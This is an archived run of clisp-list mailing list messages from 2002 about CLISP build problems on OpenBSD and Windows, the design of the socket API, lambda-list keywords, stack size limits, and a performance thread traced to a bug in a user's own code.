> that's there now, you can.  People who want to use the current stuff
> aren't forced to look at the C implementation, are they?  All I'm
> saying is to move some of the C code to lisp.  But it'd still be
> "implementation details" people can ignore if they want.

the exported socket API will have many more functions,
and this _will_ be confusing for an average user.


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Hello,

> I tried to compile clisp 2.28 (not current cvs) both on cygwin and redhat 
> 7.1. In both cases building interpreted.mem fails with a segfault.

Try adding  -fno-gcse -DNO_ASM  to the CFLAGS in the Makefile, right
after generating the Makefile.

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Sam Steingold writes:
 > > * In message <m3n0ukmdvg.fsf@jetcar.qnz.org>
 > > * On the subject of "Re: Re[6]: [clisp-list] socket-connect's timeout"
 > > * Sent on 28 May 2002 12:33:07 -0400
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 > > > Todd> I don't suppose it makes sense to re-suggest the stuff in:
 > > > Todd> http://www.geocrawler.com/archives/3/1124/2002/1/100/7517822/ does it?
 > > > I think those people who don't want to know about blocking, UDP
 > > > sockets, ioctl etc have right to it. So let advanced interface exists,
 > > > but if it hurts basic interface - maybe make it separate from SOCKET: ?
 > > 
 > > I don't understand why you think this would force complexity on people
 > > who don't want it.  If you want to keep using the high level stuff
 > > that's there now, you can.  People who want to use the current stuff
 > > aren't forced to look at the C implementation, are they?  All I'm
 > > saying is to move some of the C code to lisp.  But it'd still be
 > > "implementation details" people can ignore if they want.
 > 
 > the exported socket API will have many more functions,
 > and this _will_ be confusing for an average user.

Only if you document it as one big API.  The other option is to
document it in layers.  Have a "High-Level Sockets API" section
followed by a "Low-Level Sockets API" section.  I'm pretty sure that
most users will stop reading at the end of the high-level section,
when they figure out they can do what they want with it.

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Hello, Sam,

Wednesday, May 29, 2002, 3:12:43 AM, you wrote:

>> They wouldn't start any i/o with a connect call.  The connect call
>> would already have been made, but in non-blocking mode.

Sam> are you saying that the second connect() call in connect_via_ip() is
Sam> wrong?  why didn't you say that?!
I tried your patch on win32 (with ioctl changed to win32 equivalent -
I found 'ioctlsocket(socked,cmd,arg)' function in API) and it works
not very well. I am quite busy to debug it fast, but we're not in a hurry,
are we ? Or better yet I will debug it after unix version will work
(basically it works, but when I'm emulating slow server responce, it fails.
I patched it and now it locks at all).

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Having read the CLisp `Installation on Unix' document, I'm a little
confused about the install procedure requiring both `configure' and
`makemake' commands before the `make' - almost all other installations
I've done involve only `configure' and `make'. Wouldn't it be possible
in future to simplify the install procedure so that `configure' did
everything? It could still prompt the user to edit the short and long
site name before giving the `make' (or `make install') command.

In particular, where I should give any extra configuration options I
might want as arguments to `configure' or to `makemake'? I wish to
install on Linux under /usr/local/pkg/clisp-2.28 (I don't like
installing packages directly in /usr/local, as I think it obscures the
top-level directories of an ls(1) listing of that.) I tried:

./configure --prefix=/usr/local/pkg/clisp-2.28

and saw the prompt at the end which recommended:

./makemake  --prefix=/usr/local/pkg/clisp-2.28 --with-readline \
 --with-gettext --with-dynamic-ffi > Makefile

which worked very nicely, if apparently redundantly!

Surely `configure' could record the options behind the scenes and then
make the Makefile itself, leaving me to give only the `make' or `make
install' command?
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> * In message <E17D1Ak-0001jZ-00@minster.cs.york.ac.uk>
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> install' command?

$ ./configure --build build-dir

will configure and build CLISP in the directory `build-dir'
(it is not recommended to mix the build and source directories)

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The first problem can be fixed (crudely, obviously) by this patch:
Index: src/unitypes.h
===================================================================
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retrieving revision 1.1
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--- src/unitypes.h      27 May 2002 17:22:43 -0000      1.1
+++ src/unitypes.h      29 May 2002 18:41:17 -0000
@@ -20,7 +20,15 @@
 #define _UNITYPES_H
 
 /* Get uint8_t, uint16_t, uint32_t.  */
+#ifndef __OpenBSD__
 #include <stdint.h>
+#else
+# ifdef __i386__
+#  include <i386/types.h>
+# else
+#  error need uint8_t and friends, do not know where they are for this system
+# endif
+#endif
 
 /* Type representing a Unicode character.  */
 typedef uint32_t ucs4_t;


The second problem is that CLISP's stdbool.h uses #define to turn
"true" and "false" into "1" and "0", and then CLISP elsewhere 
#include's the OpenBSD file "/usr/include/stdbool.h", which does
  /* `_Bool' type must promote to `int' or `unsigned int'. */
  typedef enum {
          false = 0,
          true = 1
  } _Bool;
So then of course when this is preprocessed into
  /* `_Bool' type must promote to `int' or `unsigned int'. */
  typedef enum {
          0 = 0,
          1 = 1
  } _Bool;
gcc is not happy.

I ground to a halt on the second problem, so I dunno whether there's
a third problem.

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> * In message <20020529184511.GA848@balefire.localdomain>
> * On the subject of "[clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86"
> * Sent on Wed, 29 May 2002 13:45:11 -0500
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> The second problem is that CLISP's stdbool.h uses #define to turn
> "true" and "false" into "1" and "0", and then CLISP elsewhere 
> #include's the OpenBSD file "/usr/include/stdbool.h", which does
>   /* `_Bool' type must promote to `int' or `unsigned int'. */
>   typedef enum {
>           false = 0,
>           true = 1
>   } _Bool;
> So then of course when this is preprocessed into
>   /* `_Bool' type must promote to `int' or `unsigned int'. */
>   typedef enum {
>           0 = 0,
>           1 = 1
>   } _Bool;
> gcc is not happy.

CLISP is not supposed to include "/usr/include/stdbool.h" - it comes
with its own.

--- lispbibl.d	29 May 2002 12:25:19 -0000	1.258
+++ lispbibl.d	29 May 2002 20:27:53 -0000
@@ -1145,7 +1145,11 @@
 #endif
 
 # boolean values:
+#ifdef HAVE_STDBOOL_H
+  #include <stdbool.h>
+#else
 #include "stdbool.h"
+#endif
 
 # Type for signed values, results of comparisons, tertiary enums
 # with values +1, 0, -1

does this help?

> I ground to a halt on the second problem, so I dunno whether there's
> a third problem.

I am sure there is - the sources have changed a lot in the recent days.

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On Wed, May 29, 2002 at 04:28:19PM -0400, Sam Steingold wrote:
> --- lispbibl.d	29 May 2002 12:25:19 -0000	1.258
> +++ lispbibl.d	29 May 2002 20:27:53 -0000
> @@ -1145,7 +1145,11 @@
>  #endif
>  
>  # boolean values:
> +#ifdef HAVE_STDBOOL_H
> +  #include <stdbool.h>
> +#else
>  #include "stdbool.h"
> +#endif
>  
>  # Type for signed values, results of comparisons, tertiary enums
>  # with values +1, 0, -1
> 
> does this help?

Yes, that makes compilation of lispbibl.d succeed.

> > I ground to a halt on the second problem, so I dunno whether there's
> > a third problem.
> 
> I am sure there is - the sources have changed a lot in the recent days.

Some kind of change seems to be needed in order to make uniname.c
compile, too.

gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c
In file included from uniname.c:27,
                 from charstrg.d:1316:
/usr/include/stdbool.h:18: warning: `false' redefined
stdbool.h:43: warning: this is the location of the previous definition
/usr/include/stdbool.h:19: warning: `true' redefined
stdbool.h:44: warning: this is the location of the previous definition
In file included from charstrg.d:5:
lispbibl.d:7181: warning: register used for two global register variables
In file included from uniname.c:27,
                 from charstrg.d:1316:
/usr/include/stdbool.h:13: syntax error before `0'
/usr/include/stdbool.h:15: warning: redefinition of `_Bool'
stdbool.h:35: warning: `_Bool' previously declared here
*** Error code 1

It's not obvious to me why "./stdbool.h" is getting included here,
since the remaining #include's of stdbool.h, including the one in
uniname.c, refer to <stdbool.h>. Maybe something about the
preprocessing sequence here is causing the #include in lispbibl.d to
be cpp'ed in a context where HAVE_STDBOOL_H isn't defined?

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> * In message <20020529211219.GA4359@balefire.localdomain>
> * On the subject of "Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86"
> * Sent on Wed, 29 May 2002 16:12:19 -0500
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> On Wed, May 29, 2002 at 04:28:19PM -0400, Sam Steingold wrote:
> > --- lispbibl.d	29 May 2002 12:25:19 -0000	1.258
> > +++ lispbibl.d	29 May 2002 20:27:53 -0000
> > @@ -1145,7 +1145,11 @@
> >  #endif
> >  
> >  # boolean values:
> > +#ifdef HAVE_STDBOOL_H
> > +  #include <stdbool.h>
> > +#else
> >  #include "stdbool.h"
> > +#endif
> >  
> >  # Type for signed values, results of comparisons, tertiary enums
> >  # with values +1, 0, -1
> > 
> > does this help?
> 
> Yes, that makes compilation of lispbibl.d succeed.
> 
> > > I ground to a halt on the second problem, so I dunno whether there's
> > > a third problem.
> > 
> > I am sure there is - the sources have changed a lot in the recent days.
> 
> Some kind of change seems to be needed in order to make uniname.c
> compile, too.
> 
> gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c
> In file included from uniname.c:27,
>                  from charstrg.d:1316:
> /usr/include/stdbool.h:18: warning: `false' redefined
> stdbool.h:43: warning: this is the location of the previous definition
> /usr/include/stdbool.h:19: warning: `true' redefined
> stdbool.h:44: warning: this is the location of the previous definition
> In file included from charstrg.d:5:
> lispbibl.d:7181: warning: register used for two global register variables
> In file included from uniname.c:27,
>                  from charstrg.d:1316:
> /usr/include/stdbool.h:13: syntax error before `0'
> /usr/include/stdbool.h:15: warning: redefinition of `_Bool'
> stdbool.h:35: warning: `_Bool' previously declared here
> *** Error code 1
> 
> It's not obvious to me why "./stdbool.h" is getting included here,
> since the remaining #include's of stdbool.h, including the one in
> uniname.c, refer to <stdbool.h>. Maybe something about the
> preprocessing sequence here is causing the #include in lispbibl.d to
> be cpp'ed in a context where HAVE_STDBOOL_H isn't defined?

maybe you could try removing "./stdbool.h" and looking where the
"include: file not found" error is signaled?
you could also try "gcc -E -dM" to see what macros are defined.

I hope Bruno will weigh in on the issue...

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Hello Sam,

Thursday, May 30, 2002, 6:28:19 AM, you wrote:

Sam> CLISP is not supposed to include "/usr/include/stdbool.h" - it comes
Sam> with its own.

These patches was required to build on windows (#include "" instead of
#include <>). But I don't know how it affects unix build, I suppose clisp
won't build on unix with these patches.


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Index: uniname.c
===================================================================
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retrieving revision 1.1
diff -u -r1.1 uniname.c
--- uniname.c	27 May 2002 17:22:43 -0000	1.1
+++ uniname.c	30 May 2002 00:12:16 -0000
@@ -24,7 +24,7 @@
 #include "uniname.h"
 
 #include <assert.h>
-#include <stdbool.h>
+#include "stdbool.h"
 #include <stdio.h>
 #include <string.h>
 
Index: unitypes.h
===================================================================
RCS file: /cvsroot/clisp/clisp/src/unitypes.h,v
retrieving revision 1.1
diff -u -r1.1 unitypes.h
--- unitypes.h	27 May 2002 17:22:43 -0000	1.1
+++ unitypes.h	30 May 2002 00:12:34 -0000
@@ -20,7 +20,7 @@
 #define _UNITYPES_H
 
 /* Get uint8_t, uint16_t, uint32_t.  */
-#include <stdint.h>
+#include "stdint.h"
 
 /* Type representing a Unicode character.  */
 typedef uint32_t ucs4_t;
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I thought I understood these two keywords, but it appears I do not.  Is it
true that keyword parameters assume the existence of optional arguments?
What am I missing?

test.lsp:

(defun test (a &optional b &key c)
  (list a b c))

[1]> (load "test")
;; Loading file C:\Dave\test.lsp ...
;; Loading of file C:\Dave\test.lsp is finished.
T
[2]> (test 1)
(1 NIL NIL)
[3]> (test 1 2)
(1 2 NIL)
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> * In message <NHELKOLJCDKIICMAPADBOEGLCDAA.dave@synergy.org>
> * On the subject of "&optional and &key lambda list keywords"
> * Sent on Sun, 2 Jun 2002 10:05:36 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
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> I thought I understood these two keywords, but it appears I do not.
> Is it true that keyword parameters assume the existence of optional
> arguments?
yes.

> (defun test (a &optional b &key c)
>   (list a b c))
> [5]> (test 1 :c 3)
> 
> *** - EVAL/APPLY: keyword arguments for TEST should occur pairwise
> 1. Break [6]>

a==1
b==:c
3 is supposed to be :c
the c argument is missing.

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> * In message <2923.1023041786@www19.gmx.net>
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> Can clisp be embedded in an application for scripting purposes?
> How does one go about this?

make your application a CLISP module.

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Hello,

the current version of the cygwin distribution for clisp-2.28 that I did 
quite a time ago does not work because of some problems with ln in cygwin.
I did a new version that should work properly using cp instead of ln. It is 
available at
http://perso.wanadoo.es/karsten.poeck/clisp-2.28-i686-unknown-cygwin_me-4.90-1.3.10.tar.gz 


Un saludo

Karsten



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> * In message <5.1.0.14.0.20020603211950.00a30ad0@pop3.terra.es>
> * On the subject of "[clisp-list] Cygwin distribution"
> * Sent on Mon, 03 Jun 2002 21:23:11 +0200
> * Honorable Karsten <vs1100@terra.es> writes:
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> the current version of the cygwin distribution for clisp-2.28 that I
> did quite a time ago does not work because of some problems with ln in
> cygwin.  I did a new version that should work properly using cp
> instead of ln. It is available at
> http://perso.wanadoo.es/karsten.poeck/clisp-2.28-i686-unknown-cygwin_me-4.90-1.3.10.tar.gz

thanks - I put it on the CLISP distribution sites.

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hello,

i had recently an "accident" with some files and several of my .lisp
files got lost, but i still have the .lib and .fas files. these files
are already 	quite human readable, but i wonder if there is a tool that
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> * In message <sa0k7pgv3t0.fsf@glip.premonitia.com>
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> are already quite human readable, but i wonder if there is a tool that
> could reconstruct a .lisp file out of these two?

not really.
you can disassemble the functions in *.fas and recover macro defs from
*.lib, but no more than that (I think)

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hello,

i just ran into a problem:
*** Program stack overflow. RESET

i found the following mail (see below) on the clisp-list. i am working 
on windows and i would like to increase the stack size of the lisp.exe 
executable. now i wonder how to do this?

can anybody give me a hint?

many thanks!

 > FROM: Bruno Haible
 > DATE: 09/29/2000 05:57:58
 > SUBJECT: RE:  [clisp-list] Lisp and Memory-- "Program Stack Overflow"
 >
 >
 >
 > Justice, Randy writes:
 >
 >>>I trying to do some recursive memory searches.  I have run into a 
couple of
 >>
 >>searches which require large amounts of memory.  I understand that 
CLISP has
 >>an option of -m to allocate more memory.
 >>
 >>>On the NT side, It does not seem to work at all.  On NT, I get about 
2000
 >>
 >>levels down before "Program Stack Overflow. RESET" regardless of the 
value
 >>by option -m.
 >>
 >>>RedHat Linux seem to have a limit too.  The -m10m gives me about 8000
 >>
 >>levels, -m20m gives me about 9500 levels,  and -m40m has the same 
limit as
 >>-m20m.
 >>
 >>>How do I get more memory of CLISP to use?  Or is there a bigger 
concept that
 >>
 >>I am missing?
 >
 >
 > CLISP cannot give you more than the default stack size of the
 > operating system, because the operating system generally doesn`t allow
 > it. On Windows, the stack size needed by a program must be hardwired
 > in the executable (lisp.exe). On Unix, the maximum stack size is
 > changeable through the `ulimit` shell builtin; its use might require
 > superuser privileges.
 >
 > Therefore all you can do is
 >   a) prefer iteration over recursion when you are iterating through
 >      long lists,
 >   b) compile your lisp programs, then they eat less stack,
 >   c) become superuser and use "ulimit -s" to change the stack size,
 >      then su back to your normal identity and start clisp.
 >
 > Bruno



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On Mon, Jun 03, 2002 at 10:26:07AM -0400, Sam Steingold wrote:
> could you please try this suggestion?
> thanks!

> From: Bruno Haible <haible@ilog.fr>

> > > Apparently a stupid include file like <i386/types.h> already defines
> > > some of these types. The solution is to change stdint.h.in to first
> > > include this file, like this:
> > > 
> > > #if defined __OpenBSD__ && defined __i386__
> > > #include <i386/types.h>
> > > #endif

> Or possibly apply the trick we are already using in win32.d:
> 
> #if defined __OpenBSD__ && defined __i386__
> #define uint8_t openbsd_uint8_t
> #include <i386/types.h>
> #undef uint8_t
> #endif
> 
> Can someone please try this? I have no access to an OpenBSD box.

OK, I tried it.

$ cvs diff stdint.h.in
balefire:clisp/ $ cvs diff src/stdint.h.in
Index: src/stdint.h.in
===================================================================
RCS file: /cvsroot/clisp/clisp/src/stdint.h.in,v
retrieving revision 1.1
diff -u -r1.1 stdint.h.in
--- src/stdint.h.in     27 May 2002 17:22:43 -0000      1.1
+++ src/stdint.h.in     6 Jun 2002 14:27:32 -0000
@@ -19,6 +19,12 @@
 #ifndef _STDINT_H
 #define _STDINT_H
 
+#if defined __OpenBSD__ && defined __i386__
+#define uint8_t openbsd_uint8_t
+#include <i386/types.h>
+#undef uint8_t
+#endif
+
 /* ISO C 99 <stdint.h> for platforms that lack it.  */
 
 /* Get wchar_t, WCHAR_MIN, WCHAR_MAX.  */
balefire:clisp/ $ 

Then I restarted the build (starting with ./configure into a new directory).
It died in make. The tail of the output looks like this:
  gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c
  In file included from uniname.c:27,
                   from charstrg.d:1316:
  /usr/include/stdbool.h:18: warning: `false' redefined
  stdbool.h:43: warning: this is the location of the previous definition
  /usr/include/stdbool.h:19: warning: `true' redefined
  stdbool.h:44: warning: this is the location of the previous definition
  In file included from charstrg.d:5:
  lispbibl.d:7181: warning: register used for two global register variables
  In file included from uniname.c:27,
                   from charstrg.d:1316:
  /usr/include/stdbool.h:13: syntax error before `0'
  /usr/include/stdbool.h:15: warning: redefinition of `_Bool'
  stdbool.h:35: warning: `_Bool' previously declared here
  *** Error code 1
  
  Stop in /usr/stuff/clisp/2002-06-06 (line 1745 of Makefile).

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> * In message <3CFF6EB3.3060700@cern.ch>
> * On the subject of "[clisp-list] Program stack overflow. RESET: how to increase the stack size on windows?"
> * Sent on Thu, 06 Jun 2002 16:16:19 +0200
> * Honorable Christian Schuhegger <Christian.Schuhegger@cern.ch> writes:
>
> i just ran into a problem:
> *** Program stack overflow. RESET
> 
> i am working on windows and i would like to increase the stack size of
> the lisp.exe executable. now i wonder how to do this?

editbin /stack:3145728 lisp.exe

3145728 is the default value.
increase it to your taste.
note that editbin.exe does not come with MS "OS"es, only with their
"development systems", so you will have to find someone with "MSVS" to
do this.

note that compiling program will save stack too.
also, nothing beats algorithm improvement. :-)

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> * In message <20020606142629.GA16548@balefire.localdomain>
> * On the subject of "Re: [Bruno Haible <haible@ilog.fr>] Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86"
> * Sent on Thu, 6 Jun 2002 09:26:29 -0500
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> On Mon, Jun 03, 2002 at 10:26:07AM -0400, Sam Steingold wrote:
> > could you please try this suggestion?
> > thanks!
> 
> > From: Bruno Haible <haible@ilog.fr>
> 
> > > > Apparently a stupid include file like <i386/types.h> already defines
> > > > some of these types. The solution is to change stdint.h.in to first
> > > > include this file, like this:
> > > > 
> > > > #if defined __OpenBSD__ && defined __i386__
> > > > #include <i386/types.h>
> > > > #endif
> 
> > Or possibly apply the trick we are already using in win32.d:
> > 
> > #if defined __OpenBSD__ && defined __i386__
> > #define uint8_t openbsd_uint8_t
> > #include <i386/types.h>
> > #undef uint8_t
> > #endif
> > 
> > Can someone please try this? I have no access to an OpenBSD box.
> 
> OK, I tried it.

I assume that this is _after_ you did a "cvs up".

> $ cvs diff stdint.h.in
> balefire:clisp/ $ cvs diff src/stdint.h.in
> Index: src/stdint.h.in
> ===================================================================
> RCS file: /cvsroot/clisp/clisp/src/stdint.h.in,v
> retrieving revision 1.1
> diff -u -r1.1 stdint.h.in
> --- src/stdint.h.in     27 May 2002 17:22:43 -0000      1.1
> +++ src/stdint.h.in     6 Jun 2002 14:27:32 -0000
> @@ -19,6 +19,12 @@
>  #ifndef _STDINT_H
>  #define _STDINT_H
>  
> +#if defined __OpenBSD__ && defined __i386__
> +#define uint8_t openbsd_uint8_t
> +#include <i386/types.h>
> +#undef uint8_t
> +#endif
> +
>  /* ISO C 99 <stdint.h> for platforms that lack it.  */
>  
>  /* Get wchar_t, WCHAR_MIN, WCHAR_MAX.  */
> balefire:clisp/ $ 
> 
> Then I restarted the build (starting with ./configure into a new directory).
> It died in make. The tail of the output looks like this:
>   gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c
>   In file included from uniname.c:27,
>                    from charstrg.d:1316:
>   /usr/include/stdbool.h:18: warning: `false' redefined
>   stdbool.h:43: warning: this is the location of the previous definition
>   /usr/include/stdbool.h:19: warning: `true' redefined
>   stdbool.h:44: warning: this is the location of the previous definition
>   In file included from charstrg.d:5:
>   lispbibl.d:7181: warning: register used for two global register variables
>   In file included from uniname.c:27,
>                    from charstrg.d:1316:
>   /usr/include/stdbool.h:13: syntax error before `0'
>   /usr/include/stdbool.h:15: warning: redefinition of `_Bool'
>   stdbool.h:35: warning: `_Bool' previously declared here
>   *** Error code 1
>   
>   Stop in /usr/stuff/clisp/2002-06-06 (line 1745 of Makefile).

oh no - apparently, you did not do "cvs up"!

please look at config.log and unixconf.h in your build directory.
you should have HAVE_STDBOOL_H undef'ed there because, as we know, your
</usr/include/stdbool.h> is bad (`#if true' does not work with it).
in this case, makemake should add -I. to your CFLAGS, so that the
CLISP-supplied stdbool.h is used.

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On Thu, Jun 06, 2002 at 10:59:39AM -0400, Sam Steingold wrote:
> > OK, I tried it.
> 
> I assume that this is _after_ you did a "cvs up".
[...]
> oh no - apparently, you did not do "cvs up"!

Right.

When/if I get back to this, I will be sure to do "cvs up" first. (For
at least a while, I'm going to be messing with openmcl prebuilt on
cf.sf.net instead.)

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Hello Christian,

Friday, June 07, 2002, 12:16:19 AM, you wrote:

Christian> i just ran into a problem:
Christian> *** Program stack overflow. RESET

Christian> i found the following mail (see below) on the clisp-list. i am working 
Christian> on windows and i would like to increase the stack size of the lisp.exe 
Christian> executable. now i wonder how to do this?

Christian> can anybody give me a hint?

Can you please try to explicitly call (gc) in the process of program
execution? Gc spends a lot of time, so it shouldn't be called
frequently. I don't mean it is normal, but that way you can
get an another confirmation (if it helps) that there is an inefficiency
in win32 gc's traversal (Joerg's 9nines bug).

You may also to risk to change four bytes in lisp.exe at positions 138-13B
to desired stack size value (least significant byte first).
But you need a binary editor for this and an idea about binary/hex codes.
Note - I didn't say that to you ;)

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Hello Arseny,

Friday, June 07, 2002, 10:36:30 PM, you wrote:


Arseny> Can you please try to explicitly call (gc) in the process of program
Arseny> execution? Gc spends a lot of time, so it shouldn't be called
Arseny> frequently. I don't mean it is normal, but that way you can
Arseny> get an another confirmation (if it helps) that there is an inefficiency
Arseny> in win32 gc's traversal (Joerg's 9nines bug).

Arseny> You may also to risk to change four bytes in lisp.exe at positions 138-13B
Arseny> to desired stack size value (least significant byte first).
Arseny> But you need a binary editor for this and an idea about binary/hex codes.
Arseny> Note - I didn't say that to you ;)
Moreover its wrong, very sorry, forget it. Stack size is not at the fixed
offset in the exe :(

As about (gc) it would be still interesting if periodical (gc) solves
your problem. It is important for clisp development.

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Hi all,

Just posting some information about some large clisp slowdowns I have
observed simply by increasing a timing loop. The slowdowns are not
restricted to clisp (CMUCL performance decreases twice as fast as would
be expected with linear scaling).

Here's code that I just wrote to (inefficiently) concatenate the
matching elements in a list of strings:

;This takes as input two or more lists of strings and concatenates the relevant strings
;Setting merged to first args starts off the string concatenation + sets the correct number of elements

(defun merge-list-strings (&rest args)
  (let ((index 0) (element 0) (merged (first args)))
    (loop for index from 0 to (1- (length (first args))) do
	  (dolist (element (rest args))
	    (setf (nth index merged) (concatenate 'string (nth index merged) (nth index element)))))
    merged))

clisp --version
GNU CLISP 2.27 (released 2001-07-17) (built on cyberhq.internal.cyberhqz.com [192.168.0.2])

To demonstrate that the code at least works:
[2]> (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789"))
("abcdefghi" "123456789")

I then attempt a quick uncompiled speed test:
(time
  (loop for i from 1 to 1000 do
    (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789"))))

Runs fine:
Real time: 0.578641 sec.
Run time: 0.57 sec.
Space: 24115568 Bytes
GC: 46, GC time: 0.17 sec.

It's a bit too quick so I decide to boost the loop from 1000 to 10000
before compiling. I expect the code will take around 5 seconds to run.
Instead it takes 60 seconds!

Real time: 60.821857 sec.
Run time: 60.09 sec.
Space: 2401123568 Bytes
GC: 4991, GC time: 22.71 sec.

If the loop is increased to 20000 I would expect the code to take around
120 seconds to complete. Instead it takes 484 seconds:

Real time: 484.73895 sec.
Run time: 482.83 sec.
Space: 9602243568 Bytes
GC: 21642, GC time: 341.11 sec.

Note that this is 850 times slower than the 1000 loop even though the
loop was only increased by a factor of 20.

The whole time lisp.run is running it's only consuming about 0.7% of
available memory according to top.

Note the time spent in garbage collection: On the first run 30% of the
time is spend in GC. In the second run 37% of the time is spend it GC.
By the third run 70% of the time is spent in GC.

Regards,
Adam



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From: "Adam Warner" <lists@consulting.net.nz>

> (defun merge-list-strings (&rest args)
>   (let ((index 0) (element 0) (merged (first args)))
>     (loop for index from 0 to (1- (length (first args))) do

      from 0 below (length ...)       

> I then attempt a quick uncompiled speed test:

I cannot fathom the reason you did this.   

BTW, had you compiled the function, you 
would have probably obtained some useful 
warnings.

Try this:

(defun merge-list-strings (&rest args)
  (let ((accs (make-list (length (first args)) :initial-element '())))
    (loop for arg in args
          do (loop for string in arg
                   for acc on accs
                   do (push string (car acc))))
    (mapcar (lambda (l)
              (apply #'concatenate 'string l))
            accs)))


P.



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From: Adam Warner <lists@consulting.net.nz>
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Date: Sun Jun  9 17:03:09 2002
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On Mon, 2002-06-10 at 04:12, Pierpaolo BERNARDI wrote:
> From: "Adam Warner" <lists@consulting.net.nz>
> 
> > (defun merge-list-strings (&rest args)
> >   (let ((index 0) (element 0) (merged (first args)))
> >     (loop for index from 0 to (1- (length (first args))) do
> 
>       from 0 below (length ...)       
> 
> > I then attempt a quick uncompiled speed test:
> 
> I cannot fathom the reason you did this.   

I cannot fathom the obtuseness of your reply. I did it to get a ballpark
idea of how slow the function was. When I increased the loop I was
surprised to discover how many times slower the code ran.

> BTW, had you compiled the function, you 
> would have probably obtained some useful 
> warnings.

Well I can delete the index and element from the let and still get the
same result without any warnings:

(defun merge-list-strings (&rest args)
  (let ((merged (first args)))
    (loop for index from 0 to (1- (length (first args))) do
          (dolist (element (rest args))
            (setf (nth index merged) (concatenate 'string (nth index
merged) (nth index element)))))
    merged))

(compile 'merge-list-strings)
MERGE-LIST-STRINGS ;
NIL ;
NIL

I increase the loop ten-fold and the performance decreases 120-fold.

Did I discover a legitimate performance problem with clisp? Each time
the function executes I cannot see why the garbage it generates has to
be preserved. Thus I can't see why the loop gets slower and slower until
most of the time is spent in GC.

Thank you for your contribution which does scale linearly. BTW it
generates the wrong result:

[2]> (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789"))
("ghidefabc" "789456123")

But that's not the point. The point is to understand why performance
decreases so markedly with my version and whether this is unavoidable.

Regards,
Adam



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 > Just posting some information about some large clisp slowdowns I have
 > observed simply by increasing a timing loop. The slowdowns are not
 > restricted to clisp (CMUCL performance decreases twice as fast as would
 > be expected with linear scaling).
That should be your first clue.

 > (defun merge-list-strings (&rest args)
 >   (let ((index 0) (element 0) (merged (first args)))
 >     (loop for index from 0 to (1- (length (first args))) do
 > 	  (dolist (element (rest args))
 > 	    (setf (nth index merged) (concatenate 'string (nth index merged) (nth index element)))))

A free hint, this last line has a lot to do with it.

 >     merged))
 > 

 > (time
 >   (loop for i from 1 to 1000 do
 >     (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789"))))
 > Space: 24115568 Bytes
Compare the space lines.  That's your next clue.

 > It's a bit too quick so I decide to boost the loop from 1000 to 10000
 > Space: 2401123568 Bytes

 > If the loop is increased to 20000 I would expect the code to take around
 > 120 seconds to complete. Instead it takes 484 seconds:
 > Space: 9602243568 Bytes

Note that the space is also a lot more than proportional to the number
of iterations.


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On Mon, 2002-06-10 at 12:45, Don Cohen wrote:
>  > Just posting some information about some large clisp slowdowns I have
>  > observed simply by increasing a timing loop. The slowdowns are not
>  > restricted to clisp (CMUCL performance decreases twice as fast as would
>  > be expected with linear scaling).
> That should be your first clue.
> 
>  > (defun merge-list-strings (&rest args)
>  >   (let ((index 0) (element 0) (merged (first args)))
>  >     (loop for index from 0 to (1- (length (first args))) do
>  > 	  (dolist (element (rest args))
>  > 	    (setf (nth index merged) (concatenate 'string (nth index merged) (nth index element)))))
> 
> A free hint, this last line has a lot to do with it.
> 
>  >     merged))

Thanks Don. My example kept generating longer lists every time:

(time
  (loop for i from 1 to 10 do
    (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789"))))

("abcdefghi" "123456789")("abcdefghidefghi"
"123456789456789")("abcdefghidefghidefghi"
"123456789456789456789")("abcdefghidefghidefghidefghi"
"123456789456789456789456789")("abcdefghidefghidefghidefghidefghi"
"123456789456789456789456789456789")
("abcdefghidefghidefghidefghidefghidefghi"
 "123456789456789456789456789456789456789")
("abcdefghidefghidefghidefghidefghidefghidefghi"
 "123456789456789456789456789456789456789456789")
("abcdefghidefghidefghidefghidefghidefghidefghidefghi"
 "123456789456789456789456789456789456789456789456789")
("abcdefghidefghidefghidefghidefghidefghidefghidefghidefghi"
 "123456789456789456789456789456789456789456789456789456789")
("abcdefghidefghidefghidefghidefghidefghidefghidefghidefghidefghi"
 "123456789456789456789456789456789456789456789456789456789456789")
Real time: 0.004203 sec.
Run time: 0.01 sec.
Space: 15540 Bytes

Please Dan and Pierpaolo consider telling me directly when I've done
something stupid. The thread deserved to end straight away when it
turned out my whole purpose for making the post was mistaken.

Regards,
Adam




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From: "Adam Warner" <lists@consulting.net.nz>

> Thank you for your contribution which does scale linearly. BTW it
> generates the wrong result:

Just add a NREVERSE:

              (apply #'concatenate 'string (nreverse l)))

> But that's not the point. The point is to understand why performance
> decreases so markedly with my version and whether this is unavoidable.

I showed you how to avoid it.  

Now look closely at your version. Then at mine.  
Notice the differences.


P.



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On Mon, 2002-06-10 at 13:22, Pierpaolo BERNARDI wrote:
> From: "Adam Warner" <lists@consulting.net.nz>
> 
> > Thank you for your contribution which does scale linearly. BTW it
> > generates the wrong result:
> 
> Just add a NREVERSE:
> 
>               (apply #'concatenate 'string (nreverse l)))
> 
> > But that's not the point. The point is to understand why performance
> > decreases so markedly with my version and whether this is unavoidable.
> 
> I showed you how to avoid it.  

Well you showed me how to create superior code. I just though that my
